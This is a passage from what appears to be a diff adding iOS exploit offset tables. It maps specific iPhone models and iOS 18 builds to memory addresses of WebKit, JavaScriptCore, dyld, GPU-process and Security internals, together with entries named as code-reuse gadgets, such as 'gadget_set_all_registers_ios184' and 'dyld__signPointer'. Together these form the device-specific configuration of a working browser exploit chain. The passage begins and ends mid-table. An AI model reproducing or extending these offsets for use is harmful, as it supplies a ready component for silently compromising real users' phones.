libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,4_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,4_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,2_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + 